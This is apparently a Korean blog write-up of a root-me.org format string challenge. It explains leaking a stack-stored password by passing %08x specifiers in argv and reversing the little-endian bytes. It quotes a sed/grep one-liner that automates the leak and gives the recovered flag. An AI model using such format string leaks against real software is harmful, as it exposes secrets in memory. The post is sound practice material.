- #include <stdio.h>
- #include <unistd.h>
- int main(int argc, char *argv[]){
- char buffer[32];
- return 0;
- }
버퍼에 패스워드가 저장되므로
argv에 %8x를 넣어줘서 패스워드값ㅇ르 읽어오면된다
수상하게 긴 놈이 보인다
앞에는 0804b008인 쓸데없는 쓰레기값일 확률이 높으므로 그 뒤에 부터 봐보면
이거는 비밀번호 쳐보니까 안되더라
ㅇ왜냐하면
리틀에디안으로 저장되있어서 그렇다
4글자씩 거꾸로 읽어줘야한다
Dpa9d6)(Epam
이 답
solution에 들어가 다른사람 풀이를 보니 파이썬으로 코딩해놨따
- binary5@challenge02:~$ echo -e $(./binary5 $(ruby -e 'print "%08x"*150') | sed -r '
- # little-endian architecture, reorder bytes
- s/(..)(..)(..)(..)/\4\3\2\1/g
- # preceed every byte by \\x so it will be
- # interpreted by echo -e
- s/(..)/\\x&/g
- ' ) | grep -Pazo '[[:print:]]{13}\n'
- Dpa9d6)(Epamd
파이썬 정규식을 공부해봐야겠다
'war game > root-me.org' 카테고리의 다른 글
ELF32 - Stack buffer overflow - C++ vtables (0) | 2016.12.15 |
---|---|
root-me.org ELF32 - Stack buffer overflow basic 6 writeup (0) | 2016.10.22 |
root-me ELF64 - Stack buffer overflow - basic (0) | 2016.10.21 |
rootme.org writeup : stack_bufferoverflow2,3,4,5,bss bof 2,fsb 2 (0) | 2016.10.17 |